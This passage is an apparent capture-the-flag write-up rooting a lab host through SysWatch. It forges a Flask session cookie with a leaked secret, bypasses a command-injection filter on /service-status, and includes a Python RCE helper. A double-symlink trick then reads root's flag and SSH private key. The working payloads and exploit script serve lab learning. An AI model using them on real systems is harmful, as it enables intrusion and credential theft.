Download the suspicious root-owned syswatch-v1.zip under Ryan home:

Bash
scp -i /tmp/k [email protected]:/home/dev_ryan/syswatch-v1.zip .

3 ROOT

3.1 Sudo

Check user sudo priv:

axura @ labyrinth :~
dev_ryan@devarea:~$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart
dev_ryan@devarea:~$ cat /opt/syswatch/syswatch.sh
cat: /opt/syswatch/syswatch.sh: Permission denied

dev_ryan could run /opt/syswatch/syswatch.sh as root without a password, but could not read it directly.

3.2 SysWatch

That sudo target clearly lined up with the downloaded syswatch-v1.zip found in Ryan's home:

axura @ labyrinth :~
$ unzip -l syswatch-v1.zip
Archive:  syswatch-v1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-12-14 05:37   syswatch/
        0  2025-12-12 13:37   syswatch/logs/
        0  2025-12-12 13:37   syswatch/logs/disk.log
        0  2025-12-12 13:37   syswatch/logs/service.log
        0  2025-12-12 13:37   syswatch/logs/log-alerts.log
        0  2025-12-12 13:37   syswatch/logs/cpu-mem.log
        0  2025-12-12 13:37   syswatch/logs/network.log
        0  2025-12-13 08:00   syswatch/syswatch_gui/
       13  2025-12-09 18:37   syswatch/syswatch_gui/requirements.txt
        0  2025-12-10 18:37   syswatch/syswatch_gui/templates/
     2739  2025-12-11 12:25   syswatch/syswatch_gui/templates/service_status.html
     1466  2025-12-12 06:44   syswatch/syswatch_gui/templates/login.html
     2439  2025-12-11 12:25   syswatch/syswatch_gui/templates/index.html
     2211  2025-12-11 12:42   syswatch/syswatch_gui/templates/docs.html
     7675  2025-12-13 11:27   syswatch/syswatch_gui/app.py
    16384  2025-12-12 13:37   syswatch/syswatch_gui/syswatch.db
        0  2025-12-10 18:37   syswatch/syswatch_gui/static/
     5350  2025-12-11 12:39   syswatch/syswatch_gui/static/style.css
      265  2025-12-10 12:47   syswatch/monitor.sh
        0  2025-12-10 06:33   syswatch/plugins/
     1002  2025-12-12 07:03   syswatch/plugins/disk_monitor.sh
     1006  2025-12-10 13:05   syswatch/plugins/network_monitor.sh
      752  2025-12-10 13:04   syswatch/plugins/cpu_mem_monitor.sh
     1267  2025-12-10 13:05   syswatch/plugins/log_monitor.sh
      865  2025-12-10 13:04   syswatch/plugins/service_monitor.sh
      563  2025-12-12 10:22   syswatch/plugins/common.sh
     6103  2025-12-14 05:37   syswatch/syswatch.sh
        0  2025-12-12 13:37   syswatch/backup/
        0  2025-12-09 18:37   syswatch/config/
      619  2025-12-12 07:04   syswatch/config/syswatch.conf
     3407  2025-12-13 08:00   syswatch/setup.sh
---------                     -------
    54126                     31 files

3.2.1 Code Review

SysWatch is a small host monitoring toolkit. The archive contained the main wrapper script, several monitoring plugins, a config file, and the log directory layout.

3.2.1.1 Logs Monitoring

The first useful branch was logs, because non-root users were explicitly allowed to reach it:

Bash
if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

This made logs the only non-root reachable feature in the wrapper, so it became the first branch worth reviewing.

Inside view_logs(), syswatch.sh would cat files from /opt/syswatch/logs, including some symlink targets:

Bash
if [ -L "$path" ]; then
    target=$(ls -l "$path" | awk '{print $NF}')
    if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
        resolved="$LOG_DIR/$target"
        [ -f "$resolved" ] && cat "$resolved" && return
    fi
    if [[ "$target" == /var/log/* ]]; then
        [ -f "$target" ] && cat "$target" && return
    fi
fi

That was interesting because it combined passwordless sudo with attacker-controlled files inside /opt/syswatch/logs — but that path was still out of reach:

axura @ labyrinth :~
dev_ryan@devarea:~$ ls -l /opt/syswatch/logs
ls: cannot access '/opt/syswatch/logs': Permission denied
dev_ryan@devarea:~$ ls -l /opt/syswatch/
ls: cannot open directory '/opt/syswatch/': Permission denied
dev_ryan@devarea:~$ ls -l /opt/
total 12
drwxr-xr-x  4 root root 4096 Mar 22 18:55 EmployeeService
drwxr-xr-x  2 root root 4096 Mar 22 18:55 HoverFly
drwxr-xr-x+ 8 root root 4096 Mar 22 18:55 syswatch

The trailing + means extended ACLs are set, denying dev_ryan access even though the normal mode bits look traversable.

axura @ labyrinth :~
dev_ryan@devarea:~$ getfacl /opt/syswatch
getfacl: Removing leading '/' from absolute path names
# file: opt/syswatch
# owner: root
# group: root
user::rwx
user:dev_ryan:---
group::r-x
mask::r-x
other::r-x

dev_ryan@devarea:~$ getfacl /opt/syswatch/logs
getfacl: /opt/syswatch/logs: Permission denied

dev_ryan is explicitly denied on /opt/syswatch.

3.2.1.2 Deployment Model

setup.sh showed how SysWatch was installed and which account owned the key paths:

Bash
chown -R syswatch:syswatch "$OPT_DIR/logs"
cat > "$ENV_FILE" <<EOF
SYSWATCH_SECRET_KEY=$SECRET
SYSWATCH_ADMIN_PASSWORD=$ADMIN
SYSWATCH_LOG_DIR=$OPT_DIR/logs
...
EOF
chmod 755 "$ENV_FILE"

This established three important facts:

  1. /opt/syswatch/logs is owned by the syswatch user, not by root.
  2. /etc/syswatch.env stores both the Flask secret and the GUI admin password.
  3. That environment file is mode 755, so its contents are readable by other users.

The same install flow also showed that SysWatch exposed a local Flask dashboard running as syswatch:

INI
[Service]
Type=simple
User=syswatch
Group=syswatch
EnvironmentFile=/etc/syswatch.env
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py

And the Flask application binds only to localhost:

Python
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=7777, debug=False)

So the archive did not just expose the sudo target. It also revealed a second entry point: a localhost-only Flask dashboard on 127.0.0.1:7777, running as syswatch.

3.2.1.3 Flask Web GUI

Inside syswatch_gui/app.py, Flask signs session cookies with SYSWATCH_SECRET_KEY:

Python
app.secret_key = os.environ.get("SYSWATCH_SECRET_KEY", "change-me")

That secret, together with the GUI admin password, is written to a world-readable environment file during setup:

Bash
cat > "$ENV_FILE" <<EOF
SYSWATCH_SECRET_KEY=$SECRET
SYSWATCH_ADMIN_PASSWORD=$ADMIN
...
EOF
chmod 755 "$ENV_FILE"

So /etc/syswatch.env exposed both the admin password and the Flask signing secret!

The login gate itself was only session-based:

Python
def require_login():
    if not session.get("user_id"):
        return redirect(url_for("login"))

That made session forgery viable: with the leaked SYSWATCH_SECRET_KEY, a valid Flask session cookie could be generated locally and used to reach authenticated functionality without touching the login form.

The application also seeds the admin account directly from SYSWATCH_ADMIN_PASSWORD:

Python
pwd = os.environ.get("SYSWATCH_ADMIN_PASSWORD")
if pwd:
    cur.execute("INSERT INTO users(username, password_hash) VALUES(?, ?)", ("admin", generate_password_hash(pwd)))

So reading /etc/syswatch.env was enough to recover both the GUI credentials and the material needed to forge a trusted session:

/etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

At that point, the path into the bug was clear:

  1. Reach the local-only service on 127.0.0.1:7777.
  2. Satisfy authentication with either the leaked admin password or a forged Flask session.
  3. Reach an authenticated route that spawns a shell command.

3.2.1.4 Code Execution Sink

The more interesting sink was the service-status feature:

Python
@app.route("/service-status", methods=["GET", "POST"])
@app.route("/service-status/", methods=["GET", "POST"])
...
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
...
res = subprocess.run([f"systemctl status --no-pager {service}"], shell=True, capture_output=True, text=True, timeout=10)

So the vulnerable authenticated endpoint was /service-status.

The filter tries to block a few obvious metacharacters, but the command is still executed with shell=True, and the regex does not block shell expansions such as command substitution.

So the GUI exposed an authenticated command injection path running as the syswatch user.

3.2.2 PoC

3.2.2.1 Tunneling

With the current foothold, we could confirm that the SysWatch Web GUI was listening on port 7777:

axura @ labyrinth :~
dev_ryan@devarea:~$ netstat -lantp | grep 7777
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:7777          0.0.0.0:*               LISTEN      -
dev_ryan@devarea:~$ ps -ef | grep -i syswatch
syswatch    1462       1  0 Mar28 ?        00:00:10 /opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
dev_ryan   32571   29023  0 11:20 pts/0    00:00:00 grep --color=auto -i syswatch

First forward the local-only dashboard to the attacker box:

Bash
ssh -i /tmp/k -L 7777:127.0.0.1:7777 [email protected]

3.2.2.2 Cookie Forgery

Even with the leaked password, neither admin nor syswatch worked for the initial login:

So we could try to forge a cookie with another leak — SYSWATCH_SECRET_KEY.

Generate a valid Flask session cookie locally from Python:

Python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"

s = SecureCookieSessionInterface().get_signing_serializer(app)
print(s.dumps({"user_id": 1, "username": "admin"}))

user_id: 1 was the most likely valid value because init_db() seeds the admin account as the first record in an empty SQLite database.

Then use the forged session against the authenticated /service-status sink with a harmless proof payload:

axura @ labyrinth :~
$ cookie='eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ackNpg.aQCNit5of3wsUpXECcEGcTnsufU'
$ curl -s -b "session=$cookie" \
  -X POST http://127.0.0.1:7777/service-status \
  -d 'service=$(id)' \
  | grep uid
    <div class="log-box"><pre>Invalid unit name &#34;uid=984(syswatch)&#34; escaped as &#34;uid\x3d984\x28syswatch\x29&#34; (maybe you should use systemd-escape?).
Unit uid\x3d984\x28syswatch\x29.service could not be found.

The forged cookie was sent as session because the Flask app did not override SESSION_COOKIE_NAME, so it used Flask's default session cookie name.

Revisit the dashboard at / along with the cookie:

We have all admin privs including backup and cleanup logs.

3.2.2.3 Regex Bypass

The server-side filter looked restrictive at first glance:

Python
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

It blocked obvious separators such as ;, /, \, &, ., <, > and uppercase letters, but it still allowed the pipe operator |, spaces, and lowercase command names.

So two things were needed:

  1. | to append a second shell command after a valid systemctl status target.
  2. A way to reconstruct blocked path characters such as / and ..

The pipe was easy, because dbus|<cmd> stayed syntactically valid and was interpreted by the shell.

The slash restriction was bypassed by deriving / from the first character of pwd:

Bash
$(pwd|cut -c1)

That expression evaluated to /, which allowed absolute paths to be rebuilt without ever typing a literal slash.

axura @ labyrinth :~
dev_ryan@devarea:~$ ls $(pwd|cut -c1)tmp
hoverfly              systemd-private-812a4f0801ee421d8ade4cad04f28bb1-apache2.service-bt9J8q         systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-resolved.service-IoN3D5
hsperfdata_dev_ryan   systemd-private-812a4f0801ee421d8ade4cad04f28bb1-ModemManager.service-TLNDaE    systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-timesyncd.service-wC3EeL
logmonitor_timestamp  systemd-private-812a4f0801ee421d8ade4cad04f28bb1-polkit.service-zKxqSi          systemd-private-812a4f0801ee421d8ade4cad04f28bb1-upower.service-6vNoLv
snap-private-tmp      systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-logind.service-oAkXKk  vmware-root_728-2991137345

The dot restriction needed a different trick. A small inline Python expression was reliable here, because chr(46) evaluates to . without placing a literal dot in the injected payload:

Bash
$(python3 -c 'print(chr(46),end="")')

That gave us . without typing ..

axura @ labyrinth :~
dev_ryan@devarea:~$ realpath $(python3 -c 'print(chr(46),end="")')
/home/dev_ryan

A safe filesystem proof was to create a marker file under /tmp:

Bash
curl -s -b "session=$cookie" \
    -X POST http://127.0.0.1:7777/service-status \
    --data-urlencode "service=dbus|touch \$(pwd|cut -c1)tmp\$(pwd|cut -c1)pwned\$(python3 -c 'print(chr(46),end=\"\")')txt"

Then verify it from the shell:

axura @ labyrinth :~
dev_ryan@devarea:~$ ls $(pwd|cut -c1)tmp
hoverfly              systemd-private-812a4f0801ee421d8ade4cad04f28bb1-apache2.service-bt9J8q           systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-timesyncd.service-wC3EeL
hsperfdata_dev_ryan   systemd-private-812a4f0801ee421d8ade4cad04f28bb1-ModemManager.service-TLNDaE      systemd-private-812a4f0801ee421d8ade4cad04f28bb1-upower.service-6vNoLv
logmonitor_timestamp  systemd-private-812a4f0801ee421d8ade4cad04f28bb1-polkit.service-zKxqSi            vmware-root_728-2991137345
pwned.txt                 systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-logind.service-oAkXKk
snap-private-tmp      systemd-private-812a4f0801ee421d8ade4cad04f28bb1-systemd-resolved.service-IoN3D5
dev_ryan@devarea:~$ ls /tmp/pwned.txt -l
-rw-r--r-- 1 syswatch syswatch 0 Mar 30 01:58 /tmp/pwned.txt

That confirmed arbitrary command execution as syswatch.

3.2.2.4 RCE Helper

To make repeated testing easier, a small helper can submit the forged cookie and extract the result block automatically:

Python
import re
import sys

import requests

cookie = "eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ackNpg.aQCNit5of3wsUpXECcEGcTnsufU"

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} '<command after dbus|...>'")
    print(f"Example: {sys.argv[0]} 'ln -sf /root/root.txt /opt/syswatch/logs/service.log'")
    sys.exit(1)

slash = "$(pwd|cut -c1)"
dot = "$(python3 -c 'print(chr(46),end=\"\")')"
command = sys.argv[1].replace("/", slash).replace(".", dot)
payload = "dbus|" + command

r = requests.post(
    "http://127.0.0.1:7777/service-status",
    cookies={"session": cookie},
    data={"service": payload},
    timeout=10,
)

m = re.search(r"<div class=\"log-box\"><pre>(.*?)</pre>", r.text, re.S)
print(m.group(1).strip() if m else "No result in response")

Test for exfiltrating root flag:

axura @ labyrinth :~
$ cmd='cat /root/root.txt
echo $?|tee /tmp/root.status'
$ python rce.py "$cmd"
1

It printed 1, which wmeans the syswatch command reached cat /root/root.txt but could not read it. A readable file would give 0.

3.2.2.5 Double Symlink Bypass

The last barrier was inside view_logs(). It did try to defend against unsafe symlinks:

Bash
if [ -L "$path" ]; then
    target=$(ls -l "$path" | awk '{print $NF}')

    if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
        echo "[Blocked unsafe symlink target]: $file -> $target"
        return 1
    fi

    if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
        resolved="$LOG_DIR/$target"
        [ -f "$resolved" ] && cat "$resolved" && return
    fi

So the first symlink hop was checked:

  1. direct paths like /root/... were blocked
  2. traversal like .. was blocked
  3. only a simple filename inside $LOG_DIR was accepted

But the second hop was never validated.

Once network.log pointed to another filename such as service.log, the code built resolved="$LOG_DIR/$target" and immediately ran cat "$resolved". If service.log itself was another symlink, cat followed it blindly.

The remaining obstacle was the command injection filter in the web GUI. It blocked ; and &, but it did not block line feeds, so multiline shell input still worked as a command separator.

With / and . now rewritten by the helper, the symlink chain could be created cleanly as syswatch:

Bash
cmd='ln -sf /root/root.txt /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

Then read the final target through the sudo-allowed log viewer:

Bash
sudo /opt/syswatch/syswatch.sh logs network.log

The first hop still satisfied the filename check, while the second hop reached the root-owned target:

axura @ labyrinth :~
dev_ryan@devarea:~$ sudo /opt/syswatch/syswatch.sh logs network.log
7*************************2

That recovered the root flag.

3.2.3 Arbitrary Read to SSH

The same primitive also gave us a root shell.

First we wanted to confirm that root SSH access was actually in use. Target authorized_keys:

Bash
cmd='ln -sf /root/.ssh/authorized_keys /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

Read the output:

axura @ labyrinth :~
dev_ryan@devarea:~$ sudo /opt/syswatch/syswatch.sh logs network.log
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIALkh4a8v0TnM9hl7suGkcxxVGxKxR/1NuFu3t8mowp/ root@devarea

That confirmed root accepted key-based logins and revealed the key type in use: ssh-ed25519. The natural next guess was the matching default private key name, id_ed25519:

Bash
cmd='ln -sf /root/.ssh/id_ed25519 /opt/syswatch/logs/service.log
ln -sf service.log /opt/syswatch/logs/network.log'

python rce.py "$cmd"

On the victim machine:

Bash
# Read and output key
sudo /opt/syswatch/syswatch.sh logs network.log > /tmp/root_id_ed25519

# SSH login
chmod 600 /tmp/root_id_ed25519
ssh -i /tmp/root_id_ed25519 root@localhost

With the private key recovered, root SSH access was immediate:

axura @ labyrinth :~
dev_ryan@devarea:~$ sudo /opt/syswatch/syswatch.sh logs network.log > /tmp/root_id_ed25519
dev_ryan@devarea:~$ chmod 600 /tmp/root_id_ed25519
dev_ryan@devarea:~$ ssh -i /tmp/root_id_ed25519 root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:dVyZOiTOY7A2+yAv5PtOAnaWLDk57YxpdAZlwqfCfWE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64)

...

You have new mail.
root@devarea:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devarea:~# cat /root/root.txt
7*******************************2

Rooted.